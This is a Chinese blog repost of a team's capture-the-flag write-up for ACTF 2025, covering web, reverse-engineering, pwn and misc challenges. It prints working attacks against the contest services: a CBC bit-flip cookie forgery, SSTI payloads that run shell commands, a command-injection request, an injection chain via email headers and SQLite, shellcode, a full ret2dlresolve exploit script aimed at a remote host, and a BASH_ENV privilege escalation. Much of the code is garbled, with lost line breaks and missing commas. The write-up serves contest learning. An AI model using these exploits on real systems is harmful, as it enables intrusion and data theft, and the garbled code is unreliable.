UKFC2024 ACTF WP

admin 2025年4月29日00:13:27评论1 views字数 23638阅读78分47秒阅读模式
ACTF为浙江大学AAA战队组织的XCTF分赛。本场赛事累计吸引了来自全球66个国家和地区、510支战队、3422人次参与,365支队伍成功签到。
UKFC2024 ACTF WP
本次比赛,UKFC位列16名。
Web
not so web 1
本地起服务:
import base64, json, timeimport os, sys, binasciifrom dataclasses import dataclass, asdictfrom typing import DictTuplefrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom flask import (    Flask,    render_template,    render_template_string,    request,    redirect,    url_for,    flash,    session,)app = Flask(__name__)app.secret_key = "x8j2k9m3n7p4q6r8t1u5v0w2y4z6a8b0"KEY = b"k9m3n7p4q6r8t1u5v0w2y4z6a8b0x8j2"ADMIN_PASSWORD = "G7kP9mW3qT2rY6zN8vX4jL0tF5hR1cB"@dataclass(kw_only=True)class APPUser:    name: str    password_raw: str    register_time: int# In-memory store for user registrationusers: Dict[str, APPUser] = {    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)}def validate_cookie(cookie: str) -> bool:    if not cookie:        return False    try:        cookie_encrypted = base64.b64decode(cookie, validate=True)    except binascii.Error:        return False    if len(cookie_encrypted) < 32:        return False    try:        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]        cipher = AES.new(KEY, AES.MODE_CBC, iv)        cookie_json = cipher.decrypt(padded)    except ValueError:        return False    try:        _ = json.loads(cookie_json)    except Exception:        return False    return Truedef parse_cookie(cookie: str) -> Tuple[boolstr]:    if not cookie:        return False""    try:        cookie_encrypted = base64.b64decode(cookie, validate=True)    except binascii.Error:        return False""    if len(cookie_encrypted) < 32:        return False""    try:        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]        cipher = AES.new(KEY, AES.MODE_CBC, iv)        decrypted = cipher.decrypt(padded)        cookie_json_bytes = unpad(decrypted, 16)        cookie_json = cookie_json_bytes.decode()    except ValueError:        return False""    try:        cookie_dict = json.loads(cookie_json)    except Exception:        return False""    return True, cookie_dict.get("name")def generate_cookie(user: APPUser) -> str:    cookie_dict = asdict(user)    cookie_json = json.dumps(cookie_dict)    cookie_json_bytes = cookie_json.encode()    iv = os.urandom(16)    padded = pad(cookie_json_bytes, 16)    cipher = AES.new(KEY, AES.MODE_CBC, iv)    encrypted = cipher.encrypt(padded)    return base64.b64encode(iv + encrypted).decode()@app.route("/")def index():    if validate_cookie(request.cookies.get("jwbcookie")):        return redirect(url_for("home"))    return redirect(url_for("login"))@app.route("/register", methods=["GET""POST"])def register():    if request.method == "POST":        user_name = request.form["username"]        password = request.form["password"]        if user_name in users:            flash("Username already exists!""danger")        else:            users[user_name] = APPUser(                name=user_name, password_raw=password, register_time=int(time.time())            )            flash("Registration successful! Please login.""success")            return redirect(url_for("login"))    return render_template("register.html")@app.route("/login", methods=["GET""POST"])def login():    if request.method == "POST":        username = request.form["username"]        password = request.form["password"]        if username in users and users[username].password_raw == password:            resp = redirect(url_for("home"))            resp.set_cookie("jwbcookie", generate_cookie(users[username]))            return resp        else:            flash("Invalid credentials. Please try again.""danger")    return render_template("login.html")@app.route("/home")def home():    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))    if not valid or not current_username:        return redirect(url_for("logout"))    user_profile = users.get(current_username)    if not user_profile:        return redirect(url_for("logout"))    if current_username == "admin":        payload = request.args.get("payload")        html_template = """<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Home</title>    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}"></head><body>    <div class="container">        <h2 class="text-center">Welcome, %s !</h2>        <div class="text-center">            Your payload: %s        </div>        <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">        <div class="text-center">            <a href="/logout" class="btn btn-danger">Logout</a>        </div>    </div></body></html>""" % (            current_username,            payload,        )    else:        html_template = (            """<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Home</title>    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}"></head><body>    <div class="container">        <h2 class="text-center">server code (encoded)</h2>        <div class="text-center" style="word-break:break-all;">        {%% raw %%}            %s        {%% endraw %%}        </div>        <div class="text-center">            <a href="/logout" class="btn btn-danger">Logout</a>        </div>    </div></body></html>"""            % base64.b64encode(open(__file__, "rb").read()).decode()        )    return render_template_string(html_template)@app.route("/logout")def logout():    resp = redirect(url_for("login"))    resp.delete_cookie("jwbcookie")    return respif __name__ == "__main__":    app.run()
本地调试脚本:
import base64, json, timeimport os, sys, binasciifrom dataclasses import dataclass, asdictfrom typing import DictTuplefrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom flask import (    Flask,    render_template,    render_template_string,    request,    redirect,    url_for,    flash,    session,)app = Flask(__name__)app.secret_key = "123123"KEY = b'abcdefghijklmnop'ADMIN_PASSWORD = "123123"@dataclass(kw_only=True)class APPUser:    name: str    password_raw: str    register_time: int#  In-memory store for user registrationusers: Dict[str, APPUser] = {    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)}def generate_cookie(user: APPUser) -> str:    cookie_dict = asdict(user)    cookie_json = json.dumps(cookie_dict)    cookie_json_bytes = cookie_json.encode()    iv = os.urandom(16)    padded = pad(cookie_json_bytes, 16)    print(padded)    cipher = AES.new(KEY, AES.MODE_CBC, iv)    # print(cipher)    encrypted = cipher.encrypt(padded)    # print(encrypted)    return base64.b64encode(iv + encrypted).decode()if __name__ == "__main__":    print(generate_cookie(users["admin"]))
修改cookie:
import base64# 假设这是从注册 "admxn" 后获取的 cookiecookie = "jwbcookie=CCv+CVNuiBWdutXFzr0e7/9QDZxH3RXakEVP60qLwl74QOYJ6xGxZfBg6XPUAPFe+GwQ2NqPgPihMS8i0Mgzvaly0ap0yguHgIw+w5nFoARpUUr3d3mvFZKUhwWtez3R"# 提取 cookie 值cookie_value = cookie.split("="1)[1]# base64 解码cookie_bytes = base64.b64decode(cookie_value)# 分离 IV 和加密数据iv = cookie_bytes[:16]encrypted_data = cookie_bytes[16:]# 计算需要翻转的字节# 目标:将 "admxn" 的 'x' (120) 翻转为 'i' (105)# JSON 格式:{"name": "admxn", ...}# "x" 在第一个块的第 11 个字节(从 0 开始计数)pos = 13  # 'x' 的位置delta = ord('x') ^ ord('i')  # 120 ^ 105 = 17# 修改 IV 的第 11 个字节iv_list = list(iv)print(iv_list[pos])iv_list[pos] = iv_list[pos] ^ deltaprint(iv_list[pos])modified_iv = bytes(iv_list)# 生成新的 cookiemodified_cookie_bytes = modified_iv + encrypted_datamodified_cookie = base64.b64encode(modified_cookie_bytes).decode()# 输出修改后的 cookieprint("Original Cookie:", cookie_value)print("Modified Cookie:", modified_cookie)print("Use this cookie to access /home as admin:")print(f"jwbcookie={modified_cookie}")
还原脚本:
import base64import jsonfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad# 给定的 cookiecookie = "jwbcookie=CCv+CVNuiBWdutXFzqwe7/9QDZxH3RXakEVP60qLwl74QOYJ6xGxZfBg6XPUAPFe+GwQ2NqPgPihMS8i0Mgzvaly0ap0yguHgIw+w5nFoARpUUr3d3mvFZKUhwWtez3R"cookie_b64 = cookie.replace("jwbcookie=""")# 解码 base64cookie_bytes = base64.b64decode(cookie_b64)# 分离 IV 和加密数据iv = cookie_bytes[:16]encrypted_data = cookie_bytes[16:]# 假设的密钥(16 字节),实际使用时需替换为真实密钥KEY = b"k9m3n7p4q6r8t1u5v0w2y4z6a8b0x8j2"# 创建 AES-CBC 解密器cipher = AES.new(KEY, AES.MODE_CBC, iv)# 解密并去除填充try:    decrypted = cipher.decrypt(encrypted_data)    padded = unpad(decrypted, 16)  # 去除 PKCS7 填充    json_str = padded.decode('utf-8')  # 转换为字符串    cookie_dict = json.loads(json_str)  # 解析 JSON    print("还原的 padded(JSON 格式):", cookie_dict)except ValueError as e:    print("解密失败,可能是密钥错误或数据损坏:", e)
本地fenjing一把嗦
/home?payload={{(QAQ.__eq__.__globals__.sys.modules.os.popen('cat f*')).read()}}

UKFC2024 ACTF WP
Upload
普通用户进去目录穿越读源码,然后拿去碰撞一下密码,在admin下面有一个存在命令拼接的点file_path直接拼接进去的不出网rce,发现能任意写
GET /upload?file_path=0;%20ls%20/>%20/test%20%23
UKFC2024 ACTF WP
Fl4g_is_H3r3 appbin boot dev etc home lib lib64 media mnt opt proc root run sbinsrvsys test tmp usr var
GET /uplod?file_path=0;%20cat%20/Fl4g_is_H3r3>%20/test%20%23
Excellent-Site
利用 /report 路由的邮件头注入,构造一封邮件,设置 Subject 为可控 URL,并注入 From: [email protected] 以满足 get_subjects 的条件。
通过 SQLite 注入控制 /news 路由的响应,打SSTI,然后访问 /bot 触发 /admin里面的render
POST /report HTTP/1.1Host223.112.5.141:59122Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateContent-Length: 66url=http%3A%2F%2Fezmail.org%3A3000%2Fnews%3Fid%3D-1+union+select+%27%7B%7B+url_for.__globals__%5B%27%27__builtins__%27%27%5D%5B%27%27__import__%27%27%5D%28%27%27os%27%27%29.system%28%27%27cat+%2Fflag+%3E+templates%2Findex.html%27%27%29+%7D%7D%27
not so web 2
明文 username 直接换 admin 再进去就行
{"user_name": "admin", "login_time": 1745665984}&91f48825c577ce98f9c611681521eb05c92d1e17748e9e74e6b4928726e11bcf13aa8306350e1fc2e5d8ed00437cca189360dcc5489dd59f35aeee8c40eab121f35b0f2953fc5b7d48359ec5789baa302fae6e8f1c0f87943497ce5a3147daa5bbe780bbe637f73d7f95f8a2528e2fe06777634384bffea5cd865ee3999dc6fe0d475ae9fc2086d4b037c66ab20cb2b31215d0cd2c0e32643a59cca40315cbfa51ddf63a8e7c025d6be2247c18ea62c4f76c8c4f25b2cf0361c47f0cdc7105e27eb54bb84ef6512a84164f1f7d41370ddb0896b4f7373805414949e71004e5e2ca64dbdb74c5ad65007d189d8fcc72bc2878bd06848fadd0ff39f1ca6ced5c08
写个转接口本地fenjing打
{{((sbwaf|attr(lipsum|escape|batch(22)|list|first|last|attr("\x5f\x5fadd\x5f\x5f")(lipsum|escape|batch(22)|list|first|last)~"qe"[::-1]~lipsum|escape|batch(22)|list|first|last|attr("\x5f\x5fadd\x5f\x5f")(lipsum|escape|batch(22)|list|first|last)))[lipsum|escape|batch(22)|list|first|last|attr("\x5f\x5fadd\x5f\x5f")(lipsum|escape|batch(22)|list|first|last)~"slabolg"[::-1]~lipsum|escape|batch(22)|list|first|last|attr("\x5f\x5fadd\x5f\x5f")(lipsum|escape|batch(22)|list|first|last)].sys.modules.os.popen("*f tac"[::-1])).read()}}
UKFC2024 ACTF WP
Reverse
ezFPGA
四个字节为单位,逐位乘构造一个6x6的矩阵,与给定的矩阵做点乘。结果与rc4的密钥流逐位相加后比对。
由于过程中只保留了一个字节的信息,考虑z3解。
from z3 import Solver, BitVec, satdef rc4(key):    key_len = len(key)    sbox = list(range(256))    j = 0    for i, v in enumerate(sbox):        j = (j + v + key[i % key_len]) & 0xFF        sbox[i], sbox[j] = sbox[j], v    i = j = 0    res = [0] * 36    for n in range(36):        i = (i + 1) & 0xFF        si = sbox[i]        j = (j + si) & 0xFF        sj = sbox[j]        sbox[i], sbox[j] = sj, si        res[n] = sbox[(si + sj) & 0xFF]    return resdef solve():    plain = [0xAD,0x00,0xC0,0x9F,0x16,0x17,0xEC,0x25,0x25,0x1F,0x12,0xE2,0x7F,0x9F,0x37,0x53,0x12,0xBA,0x8D,0x38,0x60,0x14,0x1B,0x31,0x8E,0x13,0xE2,0x56,0x0A,0x1A,0x25,0xB9,0x80,0x73,0x8A,0x60]    key = b'eclipsky'    rc4_res = rc4(key)    key1 = [11,4,5,14]    key2 = [116,174,193,124,102,100,11,193,115,4,127,139,98,214,197,145,97,151,31,30,117,15,230,179,235,25,244,202,73,222,15,191,119,140,94,32]    for ts in range(398, -1):        s = Solver()        flag = [BitVec(f'f{i}'8) for i in range(39)]        fir = [(flag[i]*key1[0] + flag[i+1]*key1[1] + flag[i+2]*key1[2] + flag[i+3]*key1[3]) & 0xFF for i in range(36)]        sum_l = [sum(fir[i*6+k]*key2[j+k*6] for k in range(6)) & 0xFF for i in range(6) for j in range(6)]        for k, v in enumerate(plain):            s.add((sum_l[k] + rc4_res[k]) & 0xFF == v)        s.add(flag[0]==ord('A'),              flag[1]==ord('C'),               flag[2]==ord('T'),              flag[3]==ord('F'),               flag[4]==ord('{'),               flag[ts-1]==ord('}'))        if s.check() == sat:            m = s.model()            print(''.join(chr(m[flag[i]].as_long()) for i in range(36)))if __name__ == "__main__":    solve()
ACTF{RC4_4nd_FPGA_w4lk_1nt0_4_b4r}
Pwn
AFL
题目包含 afl-fuzz ,harness, wrapper.py 三个文件,其中对 wrapper.py 进行分析,发现该脚本除连接时需要的工作量证明验证,主要的作用是将用户输入的 Shellcode 写入到 /tmp/shellcode.bin 文件中并执行
timeout 5m ./afl-fuzz -i ./input -o ./output -- ./harness  #(简化版)
这表明我们的 Shellcode 会由 afl-fuzz 进行检查,并且检查收集信息的程序是 harness ,我们无法看到 input 文件夹的样例输入,所以我们暂时无视它
我们把重心放到 harness 程序上
UKFC2024 ACTF WP
我们写的 Shellcode 被映射到了 0x10000 的位置,并且还给了一个 0x20000 的可读写位置
UKFC2024 ACTF WP
这里还有沙箱保护,我们可以使用 seccomp-tools 查看
UKFC2024 ACTF WP
我们知道这是一个 ORW 类型的题目,理论上编写对应的 Shellcode 即可
但我们发现如果通过 AFL-Fuzz 启动的 harness 的 stdout 和 stderr 被定位到了 /dev/null 里,所以说我们的输出等于半残废,在不考虑恢复标准输出的方法,可以把这个当成一个没有 write() 的题目,那么我们可以使用侧信道的方式来逐位爆破 Flag ,通过汇编的无限循环以及程序非正常结束返回给模糊测试程序的返回值来判断该位是否正确
由于似乎这个测试程序实际不会限制 ORW 的 Shellcode ,我们不需要进行一些类似于免杀的优化,直接写就行,唯一的问题可能就是这个 Flag 位置太鸡贼了,实测需要访问 /home/ctf/flag 才能成功
from pwn import *import hashlibstart = ["./afl-fuzz""-i""./input""-o""./output""-t""60000" ,"--""./harness"]elf = context.binary = ELF(filename)gdbscript = '''b main'''orwcode = (    """    xor rax, rax;    add rax, 0x2;    mov rdi, 0x67616c662f66;    push rdi;    mov rdi, 0x74632f656d6f682f;    push rdi;    mov rdi, rsp;    xor rsi, rsi;    syscall;    mov rdi, rax;    xor rax, rax;    mov rsi, rsp;    mov rdx, 0x100;    syscall;    """)# checkopen = (#     """#     xor rax, rax;#     add rax, 0x2;#     mov rdi, 0x67616c662f66;#     push rdi;#     mov rdi, 0x74632f656d6f682f;#     push rdi;#     mov rdi, rsp;#     xor rsi, rsi;#     syscall;#     cmp rax, 0x4;#     je label;#     mov rax, 0x3b;#     syscall;# label:#     mov rdi, rax;#     xor rax, rax;#     mov rsi, rsp;#     mov rdx, 0x100;#     syscall;#     """# )def start():    if args.ATTACH:        global isAttach        isAttach = 1        return process(start)    elif args.GDB:        return gdb.debug(start, gdbscript = gdbscript)    elif args.REMOTE:        return remote(host, port)    elif args.BRUTE:        return remote(host, port)    else:        return process(start)def solve(prefix):    chars = string.printable    for i in range(110):        for combo in itertools.product(chars, repeat=i):            answer = ''.join(combo)            concat = prefix + answer            digest = hashlib.sha256(concat.encode()).digest()            bits = ''.join(bin(b)[2:].zfill(8for b in digest)            if bits[:12] == '0' * 12:            io.close()            break
onlyread
十分简洁的题目,只有一个可以溢出的 read() ,没有输出函数,几乎没有很多有用的 gadget
UKFC2024 ACTF WP
看一眼保护,发现是 Partial RELRO,没有 PIE
UKFC2024 ACTF WP
在这种保护下,如果不想通过爆破库函数低位偏移的方式来使用 open() 和 write() 的话,我们可以使用相对偏移,伪造 linkmap 并结合 re2dlresolve 来使得程序去执行在 libc 中想要的函数,甚至是某个地址,这里直接使用了 one_gadget
由于没有可以直接控制参数的 gadget  我们可以借助唯一能找到的 pop rsp; ret; 结合主函数的 read() 片段来进行任意已知地址读写 0x800 大小,我们利用这个来写入伪造的内容和构造攻击链
#!/usr/bin/env python3'''    author: lufiende    time: 2025-04-26 18:04:22'''from pwn import *from LibcSearcher import *import osimport sysimport timefrom ctypes import *# For localfilename = "only_read_patched"libcname = "/home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"# For remotehost = "1.95.199.251"port = 9999# For dockercontainer_id = ""proc_name = ""# For GDBisAttach = 0gdbscript = '''b mainset debug-file-directory /home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debugset directories /home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.39-0ubuntu8.4/amd64/glibc-source_2.39-0ubuntu8.4_all/usr/src/glibc/glibc-2.39'''# For Elf infofilearch = 'amd64'context.log_level = 'debug'context.os = 'linux'context.arch = filearchcontext.terminal = ["/mnt/c/Windows/System32/cmd.exe"'/c''start''wsl.exe''-d''Kali-linux''-u''lufiende']# Load the binaryelf = context.binary = ELF(filename)if libcname:    libc = ELF(libcname)# Set up start functiondef start():    if args.ATTACH:        global isAttach         isAttach = 1        return process(elf.path)    elif args.GDB:        return gdb.debug(elf.path, gdbscript = gdbscript)    elif args.REMOTE:        return remote(host, port)    elif args.DOCKER:        import docker        from os import path        p = remote(host, port)        client = docker.from_env()        container = client.containers.get(container_id=container_id)        processes_info = container.top()        titles = processes_info['Titles']        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]        target_proc = []        for proc in processes:            cmd = proc.get('CMD''')            exe_path = cmd.split()[0if cmd else ''            exe_name = path.basename(exe_path)            if exe_name == proc_name:                target_proc.append(proc)        idx = 0        if len(target_proc) > 1:            for i, v in enumerate(target_proc):                print(f"{i} => {v}")            idx = int(input(f"Which one:"))        import tempfile        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w'as tmp:            tmp.write(f'shell rm {tmp.name}n{gs}')        print(tmp.name)        run_in_new_terminal(["sudo""gdb""-p", target_proc[idx]['PID'], "-x", tmp.name])        return p    else:        return process(elf.path)def dbg():    if isAttach:        gdb.attach(io, gdbscript = gdbscript)    pause()io = start()######################### Your Code Here #########################io.recvuntil(b'generated by `')shell = io.recvuntil(b'`')[:-1]shell = shell.decode()log.info(f"shell: {shell}")output = os.popen(shell).read()output = output.split(' ')io.send(output[0].encode())paddings = 128pltinit_addr = 0x401026read_gadget = 0x401142main_addr = elf.symbols['main']read_plt = elf.plt['read']read_got = elf.got['read']open_off = libc.symbols['open']write_off = libc.symbols['write']read_off = libc.symbols['read']puts_off = libc.symbols['puts']system_off = 0xef52bleave_ret = 0x40115Dpop_rbp = 0x40111Dl_addr_poprdi = system_off - read_off # 并非 pop rdi 和 system 其实是 onegadgetl_addr_puts = puts_off - read_offdata_addr = 0x404010data_stack1 = 0x404100data_stack2 = 0x404300data_stack3 = 0x404d00linkmap = p64(l_addr_poprdi & 0xffffffffffffffff# l_addr_poprdilinkmap += p64(0linkmap += p64(data_stack1 + 0x18linkmap += p64((data_stack1 + 0x30 - l_addr_poprdi) & 0xfffffffffffffffflinkmap += p64(0x7linkmap += p64(0)linkmap += p64(0)linkmap += p64(0linkmap += p64(read_got - 0x8linkmap += p64(0)linkmap = linkmap.ljust(0x68,b'A')linkmap += p64(data_stack1) linkmap += p64(data_stack1 + 0x38linkmap = linkmap.ljust(0x80,b'A')linkmap += p64(data_stack2 - 8)linkmap += p64(leave_ret)linkmap = linkmap.ljust(0xf8,b'A')linkmap += p64(data_stack1 + 0x8linkmap = linkmap.ljust(0x200,b'x00')log.info("Read 1st")payload1 = b'A' * paddings + p64(0) + p64(pop_rbp) + p64(data_stack1 + 0x80) + p64(read_gadget)pause()io.send(payload1)log.info("Read 2nd")payload2 = linkmap + p64(main_addr) pause()io.send(payload2)log.info("Read 3rd")payload2 = b'A' * paddings + p64(0) + p64(pop_rbp) + p64(data_stack3 + 0x80) + p64(read_gadget)pause()io.send(payload2)log.info("Read 4th")payload4 = b'a' * paddings + p64(main_addr) * 2  pause()io.send(payload4)dbg()log.info("Read 5th")payload4 = b'a' * paddings + p64(0) + p64(pop_rbp) + p64(0x404f00) +  p64(pltinit_addr) + p64(data_stack1) pause()io.send(payload4)##################################################################io.interactive()
Misc
Hard guess
题目描述:
啊……远野君坚持让我为他的新项目学习计算机。这个VPS东西正好在打折,所以……教程上说“/root”文件是受保护的……(停顿,看向屏幕)它们不可能泄露吧……?——加藤惠
附件下载是个网页,关于加藤惠的介绍,有这样的信息:
来自秋人远野的安全通知
发布于2天前 | 标签:安全 | 未读
惠小姐,请注意:  
1. 不要将SSH用户名设置为“KatoMegumi”(太容易被猜到了!)。  
2. 不要使用名字+生日组合作为密码,比如“Megumi19960923”之类的……我猜。  
3. 服务器日志显示昨天有人试图暴力破解你的SSH!
那么应该是在给的在线场景猜出用户名和密码,然后到/root里面找到flag
KatoMegumi
Megumi960923
/opt下面有个hello
#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<string.h>intmain(int argc, constchar **argv, constchar **envp){    char v4 = 'n'// Initialize with default value    // Set user and group ID to root    setuid(0);    setgid(0);    // Prompt user    printf("Are you Tomoya?ny/n:n> ");    scanf("%c", &v4);    // Clear potentially dangerous environment variables    if (getenv("LD_PRELOAD")) unsetenv("LD_PRELOAD");    if (getenv("LD_LIBRARY_PATH")) unsetenv("LD_LIBRARY_PATH");    if (getenv("LD_AUDIT")) unsetenv("LD_AUDIT");    if (getenv("LD_DEBUG")) unsetenv("LD_DEBUG");    if (getenv("LIBRARY_PATH")) unsetenv("LIBRARY_PATH");    // Set safe PATH    setenv("PATH""/bin"1);    // Handle user input    if (v4 == 'y') {        system("echo 'Hello!'");    } else if (v4 == 'n') {        system("bash -c "echo 'Who are you?'"");    } else {        printf("emm? ...n");    }    return 0;}
UKFC2024 ACTF WP
清除了LD_PRELOAD等一堆东西,重置了PATH环境为/bin
用BASH_ENV
KatoMegumi@00a6d3960137:~$ echo '/bin/bash'>1KatoMegumi@00a6d3960137:~$ chmod +x 1KatoMegumi@00a6d3960137:~$ export BASH_ENV=~/1KatoMegumi@00a6d3960137:~$ /opt/helloAre you Tomoya?y/n:> n

https://blog.csdn.net/m0_68636078/article/details/142423736

Movie master
tt0017136 tt8893624 tt0109946 tt17526714 tt31309480 tt34382036 tt8503618 tt0368226 tt0103767 tt0110912  tt0109688 tt26471411 tt0043306 tt5004766
UKFC2024 ACTF WP
ACTF{IMDBMASTER_uw@tcHed@L0toFmoV1e|tt0118694}
QRCode
UKFC2024 ACTF WP
UKFC2024 ACTF WP
先尝试让AI用他的思路去写解题代码,搞不出来,不是生成的1数量超标就是直接投影出问题,像下面这样,就是差那么一点,没法识别
UKFC2024 ACTF WP
UKFC2024 ACTF WP
UKFC2024 ACTF WP
这时候就需要人工介入了,然后这个题目的关键就是满足投影能被识别的前提下有尽可能少的1,那么我就可以先满足识别的要求,然后再去考虑每一个位置删掉这个1会不会影响识别,然后往下降1的数量
UKFC2024 ACTF WP
最后就是AI生成解题脚本,deepseek🐂,脚本一字没动
UKFC2024 ACTF WP
import qrcodefrom pwn import *import hashlibimport itertoolsimport stringimport randomdef generate_qr_matrix(content):    """生成21x21的QR码布尔矩阵"""    qr = qrcode.QRCode(        version=1,        error_correction=qrcode.constants.ERROR_CORRECT_L,        box_size=1,        border=0    )    qr.add_data(content)    qr.make(fit=True)    img = qr.make_image(fill_color="black", back_color="white")    return [[img.getpixel((x, y)) == 0 for y in range(21)] for x in range(21)]def build_initial_data(front, left, top):    """构建满足投影约束的初始三维数组"""    # 初始化全1三维数组    data = [[[True for _ in range(21)] for _ in range(21)] for _ in range(21)]    # 应用投影0约束    for x in range(21):        for y in range(21):            if not front[x][y]:                for z in range(21):                    data[x][y][z] = False    for y in range(21):        for z in range(21):            if not left[y][z]:                for x in range(21):                    data[x][y][z] = False    for x in range(21):        for z in range(21):            if not top[x][z]:                for y in range(21):                    data[x][y][z] = False    # 确保投影1区域至少存在一个1    for x in range(21):        for y in range(21):            if front[x][y] and not any(data[x][y]):                z = random.randint(020)                data[x][y][z] = True    for y in range(21):        for z in range(21):            if left[y][z] and not any(data[x][y][z] for x in range(21)):                x = random.randint(020)                data[x][y][z] = True    for x in range(21):        for z in range(21):            if top[x][z] and not any(data[x][y][z] for y in range(21)):                y = random.randint(020)                data[x][y][z] = True    return datadef optimize_data(data):    """优化数据减少1的数量"""    # 获取所有1的位置并随机排序    candidates = [(x,y,z) for x,y,z in itertools.product(range(21), repeat=3if data[x][y][z]]    random.shuffle(candidates)    for x,y,z in candidates:        # 临时移除当前点        data[x][y][z] = False        # 检查三个投影是否仍然有效        front_valid = any(data[x][y])          # 前视图验证        left_valid = any(data[xx][y][z] for xx in range(21))  # 左视图验证        top_valid = any(data[x][yy][z] for yy in range(21))   # 顶视图验证        # 如果任一投影失效则恢复        if not (front_valid and left_valid and top_valid):            data[x][y][z] = True    return datadef solve_pow(suffix, target):    """解决Proof of Work"""    charset = string.ascii_letters + string.digits    for prefix in itertools.product(charset, repeat=4):        prefix = ''.join(prefix)        if hashlib.sha256(f"{prefix}{suffix}".encode()).hexdigest() == target:            return prefix    return Nonedef main():    # 生成目标QR码    front = generate_qr_matrix("Azure")    left = generate_qr_matrix("Assassin")    top = generate_qr_matrix("Alliance")    # 构建三维数据结构    data = build_initial_data(front, left, top)    # 执行优化操作(多轮次优化)    for _ in range(3):        data = optimize_data(data)    # 生成输入字符串    input_str = ''.join('1' if data[x][y][z] else '0'                       for z in range(21                      for y in range(21                      for x in range(21))    # 验证输入有效性    assert len(input_str) == 21**3"长度校验失败"    assert input_str.count('1') < 390f"1的数量超标:{input_str.count('1')}"    assert all(c in '01' for c in input_str), "包含非法字符"    # 网络交互流程    r = remote('1.95.71.197'9999)    # 处理Proof of Work    challenge = r.recvline().decode().strip()    suffix = challenge.split('+')[1].split(')')[0]    target_hash = challenge.split('== ')[1]    prefix = solve_pow(suffix, target_hash)    r.sendlineafter('XXXX:', prefix)    # 提交数据    r.sendlineafter('data:', input_str)    print(r.recvall().decode())if __name__ == "__main__":    main()

ACTF{QQQRCode_is_iiint3r3st1ng}

原文始发于微信公众号(UKFC安全):UKFC2024 ACTF WP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月29日00:13:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   UKFC2024 ACTF WPhttps://cn-sec.com/archives/4009727.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息